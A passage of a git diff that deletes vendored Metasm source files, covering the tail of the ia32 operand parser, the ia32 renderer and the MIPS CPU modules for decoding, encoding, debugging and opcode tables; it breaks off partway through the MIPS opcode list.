parse_argregclasslist - [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] - end - def parse_modrm(lex, tok, cpu) - ModRM.parse(lex, tok, cpu) - end - - # parses an arbitrary ia32 instruction argument - def parse_argument(lexer) - lexer = AsmPreprocessor.new(lexer) if lexer.kind_of? String - - # reserved names (registers/segments etc) - @args_token ||= parse_argregclasslist.map { |a| a.s_to_i.keys }.flatten.inject({}) { |h, e| h.update e => true } - - lexer.skip_space - return if not tok = lexer.readtok - - if tok.type == :string and tok.raw == 'ST' - lexer.skip_space - if ntok = lexer.readtok and ntok.type == :punct and ntok.raw == '(' - lexer.skip_space - if not nntok = lexer.readtok or nntok.type != :string or nntok.raw !~ /^[0-9]$/ or - not ntok = (lexer.skip_space; lexer.readtok) or ntok.type != :punct or ntok.raw != ')' - raise tok, 'invalid FP register' - else - tok.raw << '(' << nntok.raw << ')' - fpr = parse_argregclasslist.last - if fpr.s_to_i.has_key? tok.raw - return fpr.new(fpr.s_to_i[tok.raw]) - else - raise tok, 'invalid FP register' - end - end - else - lexer.unreadtok ntok - end - end - - if ret = parse_modrm(lexer, tok, self) - ret - elsif @args_token[tok.raw] - parse_argregclasslist.each { |a| - return a.from_str(tok.raw) if a.s_to_i.has_key? tok.raw - } - raise tok, 'internal error' - else - lexer.unreadtok tok - expr = Expression.parse(lexer) - lexer.skip_space - - # may be a farptr - if expr and ntok = lexer.readtok and ntok.type == :punct and ntok.raw == ':' - raise tok, 'invalid farptr' if not addr = Expression.parse(lexer) - Farptr.new expr, addr - else - lexer.unreadtok ntok - Expression[expr.reduce] if expr - end - end - end - - # check if the argument matches the opcode's argument spec - def parse_arg_valid?(o, spec, arg) - if o.name == 'movsx' or o.name == 'movzx' - if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM) - return - elsif not arg.sz - puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE - return - elsif spec == :reg # reg=dst, modrm=src (smaller) - return (arg.kind_of?(Reg) and arg.sz >= 16) - elsif o.props[:argsz] - return arg.sz == o.props[:argsz] - else - return arg.sz == 16 - end - elsif o.name == 'crc32' - if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM) - return - elsif not arg.sz - puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE - return - elsif spec == :reg - return (arg.kind_of?(Reg) and arg.sz >= 32) - elsif o.props[:argsz] - return arg.sz == o.props[:argsz] - else - return arg.sz >= 16 - end - end - - return false if arg.kind_of? ModRM and arg.adsz and o.props[:adsz] and arg.adsz != o.props[:adsz] - - cond = true - if s = o.props[:argsz] and (arg.kind_of? Reg or arg.kind_of? ModRM) - cond = (!arg.sz or arg.sz == s or spec == :reg_dx) - end - - cond and - case spec - when :reg; arg.kind_of? Reg and (arg.sz >= 16 or o.props[:argsz]) - when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? Reg) - when :i; arg.kind_of? Expression - when :imm_val1; arg.kind_of? Expression and arg.reduce == 1 - when :imm_val3; arg.kind_of? Expression and arg.reduce == 3 - when :reg_eax; arg.kind_of? Reg and arg.val == 0 - when :reg_cl; arg.kind_of? Reg and arg.val == 1 and arg.sz == 8 - when :reg_dx; arg.kind_of? Reg and arg.val == 2 and arg.sz == 16 - when :seg3; arg.kind_of? SegReg - when :seg3A; arg.kind_of? SegReg and arg.val > 3 - when :seg2; arg.kind_of? SegReg and arg.val < 4 - when :seg2A; arg.kind_of? SegReg and arg.val < 4 and arg.val != 1 - when :eeec; arg.kind_of? CtrlReg - when :eeed; arg.kind_of? DbgReg - when :eeet; arg.kind_of? TstReg - when :mrm_imm; arg.kind_of? ModRM and not arg.s and not arg.i and not arg.b - when :farptr; arg.kind_of? Farptr - when :regfp; arg.kind_of? FpReg - when :regfp0; arg.kind_of? FpReg and (arg.val == nil or arg.val == 0) - when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) - when :regmmx; arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx])) - when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) - when :regxmm; arg.kind_of? SimdReg and arg.sz == 128 - when :modrmymm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 256) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) - when :regymm; arg.kind_of? SimdReg and arg.sz == 256 - - when :vexvreg; arg.kind_of? Reg and arg.sz == @size - when :vexvxmm, :i4xmm; arg.kind_of? SimdReg and arg.sz == 128 - when :vexvymm, :i4ymm; arg.kind_of? SimdReg and arg.sz == 256 - - when :i8, :u8, :u16 - arg.kind_of? Expression and - (o.props[:setip] or Expression.in_range?(arg, spec) != false) # true or nil allowed - # jz 0x28282828 may fit in :i8 depending on instr addr - else raise EncodeError, "Internal error: unknown argument specification #{spec.inspect}" - end - end - - def parse_instruction_checkproto(i) - case i.opname - when 'imul' - if i.args.length == 2 and i.args.first.kind_of? Reg and i.args.last.kind_of? Expression - i.args.unshift i.args.first.dup - end - end - super(i) - end - - # fixup the sz of a modrm argument, defaults to other argument size or current cpu mode - def parse_instruction_fixup(i) - if m = i.args.grep(ModRM).first and not m.sz - if i.opname == 'movzx' or i.opname == 'movsx' - m.sz = 8 - else - if r = i.args.grep(Reg).first - m.sz = r.sz - elsif l = opcode_list_byname[i.opname].map { |o| o.props[:argsz] }.uniq and l.length == 1 and l.first - m.sz = l.first - else - # this is also the size of ctrlreg/dbgreg etc - # XXX fpu/simd ? - m.sz = i.prefix[:sz] || @size - end - end - end - if m and not m.adsz - if opcode_list_byname[i.opname].all? { |o| o.props[:adsz] } - m.adsz = opcode_list_byname[i.opname].first.props[:adsz] - else - m.adsz = i.prefix[:sz] || @size - end - end - end - - def check_reserved_name(name) - Reg.s_to_i[name] - end - - def instr_uncond_jump_to(target) - parse_instruction("jmp #{target}") - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/render.rb b/lib/metasm/metasm/cpu/ia32/render.rb deleted file mode 100644 index 2223819fdf..0000000000 --- a/lib/metasm/metasm/cpu/ia32/render.rb +++ /dev/null @@ -1,118 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/opcodes' -require 'metasm/render' - -# XXX move context in another file ? -module Metasm -class Ia32 - class Argument - include Renderable - end - - [SegReg, DbgReg, TstReg, CtrlReg, FpReg].each { |c| c.class_eval { - def render ; [self.class.i_to_s[@val]] end - } } - [Reg, SimdReg].each { |c| c.class_eval { - def render ; [self.class.i_to_s[@sz][@val]] end - def context ; {'set sz' => lambda { |s| @sz = s }} end - } } - - class Farptr - def render - [@seg, ':', @addr] - end - end - - class ModRM - def qualifier(sz) - { - 8 => 'byte', - 16 => 'word', - 32 => 'dword', - 64 => 'qword', - 128 => 'oword' - }.fetch(sz) { |k| "_#{sz}bits" } - end - - attr_accessor :instruction - def render - r = [] - r << ( qualifier(@sz) << ' ptr ' ) if @sz and (not instruction or not @instruction.args.find { |a| a.kind_of? Reg and a.sz == @sz }) - r << @seg << ':' if seg - - e = nil - e = Expression[e, :+, @b] if b - e = Expression[e, :+, @imm] if imm - e = Expression[e, :+, (@s == 1 ? @i : [@s, :*, @i])] if s - r << '[' << e << ']' - end - - def context - {'set targetsz' => lambda { |s| @sz = s }, - 'set seg' => lambda { |s| @seg = Seg.new s }} - end - end - - def render_instruction(i) - r = [] - if pfx = i.prefix - r << 'lock ' if pfx[:lock] - r << pfx[:rep] << ' ' if pfx[:rep] - r << pfx[:jmphint] << ' ' if pfx[:jmphint] - r << 'seg_' << pfx[:seg] << ' ' if pfx[:seg] - end - r << i.opname - sep = ' ' - i.args.each { |a| - a.instruction = i if a.kind_of? ModRM - r << sep << a - sep = ', ' - } - r - end - - def instruction_context(i) - # XXX - h = {} - op = opcode_list_byname[i.opname].first - if i.prefix and i.prefix[:rep] - h['toogle repz'] = lambda { i.prefix[:rep] = {'repnz' => 'repz', 'repz' => 'repnz'}[i.prefix[:rep]] } if op.props[:stropz] - h['rm rep'] = lambda { i.prefix.delete :rep } - else - h['set rep'] = lambda { (i.prefix ||= {})[:rep] = 'rep' } if op.props[:strop] - h['set rep'] = lambda { (i.prefix ||= {})[:rep] = 'repz' } if op.props[:stropz] - end - if i.args.find { |a| a.kind_of? ModRM and a.seg } - h['rm seg'] = lambda { i.args.find { |a| a.kind_of? ModRM and a.seg }.seg = nil } - end - h['toggle lock'] = lambda { (i.prefix ||= {})[:lock] = !i.prefix[:lock] } - h - end - - def gui_hilight_word_regexp_init - ret = {} - - %w[a b c d].each { |r| - ret["#{r}l"] = "e?#{r}x|#{r}l" - ret["#{r}h"] = "e?#{r}x|#{r}h" - ret["#{r}x"] = ret["e#{r}x"] = "e?#{r}x|#{r}[hl]" - } - - %w[sp bp si di].each { |r| - ret[r] = ret["e#{r}"] = "e?#{r}" - } - - ret - end - - def gui_hilight_word_regexp(word) - @gui_hilight_word_hash ||= gui_hilight_word_regexp_init - @gui_hilight_word_hash[word] or super(word) - end -end -end diff --git a/lib/metasm/metasm/cpu/mips.rb b/lib/metasm/metasm/cpu/mips.rb deleted file mode 100644 index 52c3005e24..0000000000 --- a/lib/metasm/metasm/cpu/mips.rb +++ /dev/null @@ -1,14 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -class Metasm::MIPS < Metasm::CPU -end - -require 'metasm/main' -require 'metasm/cpu/mips/parse' -require 'metasm/cpu/mips/encode' -require 'metasm/cpu/mips/decode' -require 'metasm/cpu/mips/render' -require 'metasm/cpu/mips/debug' diff --git a/lib/metasm/metasm/cpu/mips/compile_c.rb b/lib/metasm/metasm/cpu/mips/compile_c.rb deleted file mode 100644 index a92e397ecc..0000000000 --- a/lib/metasm/metasm/cpu/mips/compile_c.rb +++ /dev/null @@ -1,7 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/mips/parse' -require 'metasm/compile_c' diff --git a/lib/metasm/metasm/cpu/mips/debug.rb b/lib/metasm/metasm/cpu/mips/debug.rb deleted file mode 100644 index 05e39c0b02..0000000000 --- a/lib/metasm/metasm/cpu/mips/debug.rb +++ /dev/null @@ -1,42 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class MIPS - def dbg_register_pc - @dbg_register_pc ||= :pc - end - def dbg_register_flags - @dbg_register_flags ||= :flags - end - - def dbg_register_list - @dbg_register_list ||= %w[z0 at v0 v1 a0 a1 a2 a3 - t0 t1 t2 t3 t4 t5 t6 t7 - s0 s1 s2 s3 s4 s5 s6 s7 - t8 t9 k0 k1 gp sp fp ra - sr mullo mulhi badva cause pc].map { |r| r.to_sym } - end - - def dbg_flag_list - @dbg_flag_list ||= [] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(@size) - end - - def dbg_need_stepover(dbg, addr, di) - di and di.opcode.props[:saveip] - end - - def dbg_end_stepout(dbg, addr, di) - di and di.opcode.name == 'foobar' # TODO - end -end -end diff --git a/lib/metasm/metasm/cpu/mips/decode.rb b/lib/metasm/metasm/cpu/mips/decode.rb deleted file mode 100644 index 6b61555bbb..0000000000 --- a/lib/metasm/metasm/cpu/mips/decode.rb +++ /dev/null @@ -1,284 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/mips/opcodes' -require 'metasm/decode' - -module Metasm -class MIPS - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = 0 - op.args.each { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] - } - op.bin_mask = 0xffffffff ^ op.bin_mask - end - - def build_bin_lookaside - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - build_opcode_bin_mask op - - b = op.bin >> 24 - msk = op.bin_mask >> 24 - - for i in b..(b | (255^msk)) - next if i & msk != b & msk - lookaside[i] << op - end - } - lookaside - end - - def decode_findopcode(edata) - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u32, @endianness) - edata.ptr -= 4 - if val.kind_of?(Expression) - # relocations - hval = Expression[val, :&, 0xff000000].reduce - if hval.kind_of?(Expression) - # reloc_i26 - if hval.kind_of?(Expression) and pat = hval.match(Expression[['a', :&, 0x300_0000], :|, 'b'], 'a', 'b') - hval = pat['b'] - end - end - di if di.opcode = @bin_lookaside[hval >> 24].find { |op| - (op.bin & op.bin_mask) == Expression[val, :&, op.bin_mask].reduce - } - else - di if di.opcode = @bin_lookaside[val >> 24].find { |op| - (op.bin & op.bin_mask) == (val & op.bin_mask) - } - end - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - val = edata.decode_imm(:u32, @endianness) - - field_val = lambda { |f| - if val.kind_of?(Expression) - r = Expression[[val, :>>, @fields_shift[f]], :&, @fields_mask[f]].reduce - else - r = (val >> @fields_shift[f]) & @fields_mask[f] - end - - next r if r.kind_of?(Expression) - case f - when :msbd; r += 1 - when :i16; r = Expression.make_signed(r, 16) - when :i20; r = Expression.make_signed(r, 20) - when :i26; r = Expression.make_signed(r, 26) - else r - end - } - - op.args.each { |a| - di.instruction.args << case a - when :rs, :rt, :rd; Reg.new field_val[a] - when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb; Expression[field_val[a]] - when :rs_i16 - len = 32 - len = 64 if op.props[:m64] - len = 16 if op.props[:mi16] or op.props[:mu16] - len = 8 if op.props[:mi8 ] or op.props[:mu8] - Memref.new Reg.new(field_val[:rs]), Expression[field_val[:i16]], len - when :ft; FpReg.new field_val[a] - when :idm1; Expression['unsupported'] - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return false if edata.ptr > edata.length - - di - end - - # converts relative branch offsets to absolute addresses - # else just add the offset +off+ of the instruction + its length (off may be an Expression) - # assumes edata.ptr points just after the instruction (as decode_instr_op left it) - # do not call twice on the same di ! - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t - delta = Expression[di.instruction.args.last, :<<, 2].reduce - if di.opcode.args.include? :i26 - # absolute jump in the 0x3ff_ffff region surrounding next_pc - if delta.kind_of? Expression and delta.op == :& and delta.rexpr == 0x3ff_fffc - # relocated arg: assume the linker mapped so that instr&target are in the same region - arg = Expression[delta.lexpr].reduce - else - arg = Expression[[[addr, :+, di.bin_length], :&, 0xfc00_0000], :+, delta].reduce - end - else - arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce - end - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # hash opname => lambda { |di, *sym_args| binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - def init_backtrace_binding - @backtrace_binding ||= {} - opcode_list.map { |ol| ol.name }.uniq.each { |op| - binding = case op - when 'break' - when 'bltzal', 'bgezal'; lambda { |di, *a| - # XXX $ra is set only if branch is taken... - { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] } - } - when 'nop', 'j', 'jr', /^b/; lambda { |di, *a| {} } - when 'lui'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xffff], :<<, 16] } } - when 'add', 'addu', 'addi', 'addiu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :+, a2] } } # XXX addiu $sp, -40h should be addiu $sp, 0xffc0 from the books, but.. - when 'sub', 'subu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :-, a2] } } - when 'slt', 'slti'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } } - when 'and', 'andi'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } } - when 'or', 'ori'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } } - when 'nor'; lambda { |di, a0, a1, a2| { a0 => Expression[:~, [a1, :|, a2]] } } - when 'xor'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, a2] } } - when 'sll', 'sllv'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :>>, a2] } } - when 'srl', 'srlv', 'sra', 'srav'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<<, a2] } } # XXX sign-extend - when 'lw'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'sw'; lambda { |di, a0, a1| { a1 => Expression[a0] } } - when 'lh', 'lhu'; lambda { |di, a0, a1| { a0 => Expression[a1] } } # XXX sign-extend - when 'sh'; lambda { |di, a0, a1| { a1 => Expression[a0] } } - when 'lb', 'lbu'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'sb'; lambda { |di, a0, a1| { a1 => Expression[a0] } } - when /^slti?u?/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } } # XXX signedness - when 'mfhi'; lambda { |di, a0| { a0 => Expression[:hi] } } - when 'mflo'; lambda { |di, a0| { a0 => Expression[:lo] } } - when 'mult'; lambda { |di, a0, a1| { :hi => Expression[[a0, :*, a1], :>>, 32], :lo => Expression[[a0, :*, a1], :&, 0xffff_ffff] } } - when 'div'; lambda { |di, a0, a1| { :hi => Expression[a0, :%, a1], :lo => Expression[a0, :/, a1] } } - when 'jal', 'jalr'; lambda { |di, a0| { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] } } - when 'li', 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'syscall'; lambda { |di, *a| { :$v0 => Expression::Unknown } } - end - - @backtrace_binding[op] ||= binding if binding - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Memref; arg.symbolic(di.address) - when Reg; arg.symbolic - else arg - end - } - - binding = if binding = backtrace_binding[di.instruction.opname] - binding[di, *a] - else - if di.instruction.opname[0] == ?b and di.opcode.props[:setip] - else - puts "unknown instruction to emu #{di}" if $VERBOSE - end - {} - end - - binding.delete 0 # allow add $zero, 42 => nop - - binding - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - arg = di.instruction.args.last - [Expression[ - case arg - when Memref; Indirection[[arg.base.to_s.to_sym, :+, arg.offset], @size/8, di.address] - when Reg; arg.to_s.to_sym - else arg - end]] - end - - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - retaddrlist.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } if retaddrlist - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - bt = [] - b[r] = Expression::Unknown # break recursive dep - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, - :include_start => true, :snapshot_addr => faddr, :origin => retaddr) - } - b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) - } - wantregs = Reg.i_to_s.values if wantregs.empty? - wantregs.map { |r| r.to_sym }.each(&bt_val) - - puts "update_func_bind: #{Expression[faddr]} has sp -> #{b[:$sp]}" if not Expression[b[:$sp], :-, :$sp].reduce.kind_of?(::Integer) if $VERBOSE - end - - def backtrace_is_function_return(expr, di=nil) - expr.reduce_rec == :$ra - end - - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include? :$sp - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset - a - else a - end - } - end - - # make the target of the call know the value of $t9 (specified by the ABI) - # XXX hackish - def backtrace_found_result(dasm, di, expr, type, len) - if di.opcode.name == 'jalr' and di.instruction.args == [:$t9] - expr = dasm.normalize(expr) - (dasm.address_binding[expr] ||= {})[:$t9] ||= expr - end - end - - def delay_slot(di=nil) - # branch.*likely has no delay slot - # bltzal/bgezal are 'link', not 'likely', hence the check for -2 - (di and di.opcode.props[:setip] and (di.opcode.name[-1] != ?l or di.opcode.name[-2] == ?a)) ? 1 : 0 - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = %w[v0 v1 a0 a1 a2 a3 t0 t1 t2 t3 t4 t5 t6 t7 t8 t9 at k0 k1].inject({}) { |h, r| h.update "$#{r}".to_sym => Expression::Unknown } - df.backtrace_binding.update %w[gp sp fp ra s0 s1 s2 s3 s4 s5 s6 s7].inject({}) { |h, r| h.update "$#{r}".to_sym => "$#{r}".to_sym } - df.backtracked_for = [BacktraceTrace.new(Expression[:$ra], :default, Expression[:$ra], :x)] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] and di.instruction.to_s != 'jr $ra' - btfor - else [] - end - } - df - end -end -end diff --git a/lib/metasm/metasm/cpu/mips/encode.rb b/lib/metasm/metasm/cpu/mips/encode.rb deleted file mode 100644 index 23df0694ff..0000000000 --- a/lib/metasm/metasm/cpu/mips/encode.rb +++ /dev/null @@ -1,52 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/mips/opcodes' -require 'metasm/encode' - -module Metasm -class MIPS - private - def encode_instr_op(exe, instr, op) - base = op.bin - set_field = lambda { |f, v| - base |= (v & @fields_mask[f]) << @fields_shift[f] - } - - val, mask, shift = 0, 0, 0 - - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0] != ?t and instr.args.last.kind_of? Expression - postlabel = exe.new_label('jmp_offset') - instr = instr.dup - if op.args.include? :i26 - pl = Expression[postlabel, :&, 0xfc00_0000] - else - pl = postlabel - end - instr.args[-1] = Expression[[instr.args[-1], :-, pl], :>>, 2] - postdata = EncodedData.new '', :export => {postlabel => 0} - else - postdata = '' - end - - op.args.zip(instr.args).each { |sym, arg| - case sym - when :rs, :rt, :rd, :ft - set_field[sym, arg.i] - when :rs_i16 - set_field[:rs, arg.base.i] - val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] - when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb - val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] - val = Expression[val, :-, 1] if sym == :msbd - end - } - - Expression[base, :|, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata - end -end -end diff --git a/lib/metasm/metasm/cpu/mips/main.rb b/lib/metasm/metasm/cpu/mips/main.rb deleted file mode 100644 index f1dc5311cc..0000000000 --- a/lib/metasm/metasm/cpu/mips/main.rb +++ /dev/null @@ -1,79 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class MIPS < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @s_to_i = {} - @i_to_s = {} - (0..31).each { |i| @s_to_i["r#{i}"] = @s_to_i["$r#{i}"] = @s_to_i["$#{i}"] = i } - %w[zero at v0 v1 a0 a1 a2 a3 - t0 t1 t2 t3 t4 t5 t6 t7 - s0 s1 s2 s3 s4 s5 s6 s7 - t8 t9 k0 k1 gp sp fp ra].each_with_index { |r, i| @s_to_i[r] = @s_to_i['$'+r] = i ; @i_to_s[i] = '$'+r } - - attr_accessor :i - def initialize(i) - @i = i - end - - Sym = @i_to_s.sort.map { |k, v| v.to_sym } - def symbolic ; @i == 0 ? 0 : Sym[@i] end - end - - class FpReg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = (0..31).map { |i| "$f#{i}" } - @s_to_i = (0..31).inject({}) { |h, i| h.update "f#{i}" => i, "$f#{i}" => i } - - attr_accessor :i - def initialize(i) - @i = i - end - end - - class Memref - attr_accessor :base, :offset, :sz - def initialize(base, offset, sz=32) - @base, @offset, @sz = base, offset, sz - end - - def symbolic(orig) - p = nil - p = Expression[p, :+, @base.symbolic] if base - p = Expression[p, :+, @offset] if offset - Indirection[p.reduce, @sz/8, orig] - end - end - - def initialize(endianness = :big, family = :latest) - super() - @endianness = endianness - @size = 32 - @family = family - end - - def init_opcode_list - send("init_#@family") - @opcode_list - end -end - -class MIPS64 < MIPS - def initialize(endianness = :big, family = :latest) - super(endianness, family) - @size = 64 - end -end -end - diff --git a/lib/metasm/metasm/cpu/mips/opcodes.rb b/lib/metasm/metasm/cpu/mips/opcodes.rb deleted file mode 100644 index a447304425..0000000000 --- a/lib/metasm/metasm/cpu/mips/opcodes.rb +++ /dev/null @@ -1,512 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/mips/main' - -# TODO coprocessors, floating point, 64bits, thumb mode - -module Metasm - -class MIPS - def addop(name, bin, *args) - o = Opcode.new name, bin - args.each { |a| - o.args << a if @fields_mask[a] - o.props[a] = true if @valid_props[a] - } - @opcode_list << o - end - - def init_mips32_obsolete - addop 'beql', 0b010100 << 26, :rt, :rs, :i16, :setip # == , exec delay slot only if jump taken - addop 'bnel', 0b010101 << 26, :rt, :rs, :i16, :setip # != - addop 'blezl',0b010110 << 26, :rt_z, :rs, :i16, :setip # <= 0 - addop 'bgtzl',0b010111 << 26, :rt_z, :rs, :i16, :setip # > 0 - addop 'bltzl',1 << 26 | 0b00010 << 16, :rs, :i16, :setip - addop 'bgezl',1 << 26 | 0b00011 << 16, :rs, :i16, :setip - addop 'bltzall', 1 << 26 | 0b10010 << 16, :rs, :i16, :setip - addop 'bgezall', 1 << 26 | 0b10011 << 16, :rs, :i16, :setip - end - - def init_mips32_reserved - addop 'future111011', 0b111011 << 26, :i26 - - %w[011000 011001 011010 011011 100111 101100 101101 110100 110111 111100 111111].each { |b| - addop "reserved#{b}", b.to_i(2) << 26, :i26 - } - - addop 'ase_jalx', 0b011101 << 26, :i26 - addop 'ase011110', 0b011110 << 26, :i26 - # TODO add all special/regimm/... - end - - def init_mips32 - @opcode_list = [] - @fields_mask.update :rs => 0x1f, :rt => 0x1f, :rd => 0x1f, :sa => 0x1f, - :i16 => 0xffff, :i26 => 0x3ffffff, :rs_i16 => 0x3e0ffff, :it => 0x1f, - :ft => 0x1f, :idm1 => 0x1f, :idb => 0x1f, :sel => 7, :i20 => 0xfffff - @fields_shift.update :rs => 21, :rt => 16, :rd => 11, :sa => 6, - :i16 => 0, :i26 => 0, :rs_i16 => 0, :it => 16, - :ft => 16, :idm1 => 11, :idb => 11, :sel => 0, :i20 => 6 - @valid_props.update :mi8 => true, :mu8 => true, :mi16 => true, :mu16 => true - - init_mips32_obsolete - init_mips32_reserved - - addop 'j', 0b000010 << 26, :i26, :setip, :stopexec # sets the program counter to (i26 << 2) | ((pc+4) & 0xfc000000) ie i26*4 in the 256M-aligned section containing the instruction in the delay slot - addop 'jal', 0b000011 << 26, :i26, :setip, :stopexec, :saveip # same thing, saves return addr in r31 - - addop 'mov', 0b001000 << 26, :rt, :rs # rt <- rs+0 - addop 'addi', 0b001000 << 26, :rt, :rs, :i16 # add rt <- rs+i - addop 'li', 0b001001 << 26, :rt, :i16 # addiu rt <- zero+i - addop 'addiu',0b001001 << 26, :rt, :rs, :i16 # add unsigned - addop 'slti', 0b001010 << 26, :rt, :rs, :i16 # set on less than - addop 'sltiu',0b001011 << 26, :rt, :rs, :i16 # set on less than unsigned - addop 'andi', 0b001100 << 26, :rt, :rs, :i16 # and - addop 'ori', 0b001101 << 26, :rt, :rs, :i16 # or - addop 'xori', 0b001110 << 26, :rt, :rs, :i16 # xor - addop 'lui', 0b001111 << 26, :rt, :i16 # load upper -# addop 'li', (0b001111 << 26) << 32 | (0b001101 << 26), :rt_64, :i32 # lui + ori - - addop 'b', 0b000100 << 26, :i16, :setip, :stopexec # bz $zero - addop 'bz', 0b000100 << 26, :rs, :i16, :setip # == 0 (beq $0) - addop 'bz', 0b000100 << 26, :rt, :i16, :setip # == 0 - addop 'bnz', 0b000101 << 26, :rs, :i16, :setip # != 0 - addop 'bnz', 0b000101 << 26, :rt, :i16, :setip # != 0 - - addop 'beq', 0b000100 << 26, :rt, :rs, :i16, :setip # == - addop 'bne', 0b000101 << 26, :rt, :rs, :i16, :setip # != - addop 'blez', 0b000110 << 26, :rs, :i16, :setip # <= 0 - addop 'bgtz', 0b000111 << 26, :rs, :i16, :setip # > 0 - - addop 'lb', 0b100000 << 26, :rt, :rs_i16, :mi8 # load byte rs <- [rt+i] - addop 'lh', 0b100001 << 26, :rt, :rs_i16, :mi16 # load halfword - addop 'lwl', 0b100010 << 26, :rt, :rs_i16 # load word left - addop 'lw', 0b100011 << 26, :rt, :rs_i16 # load word - addop 'lbu', 0b100100 << 26, :rt, 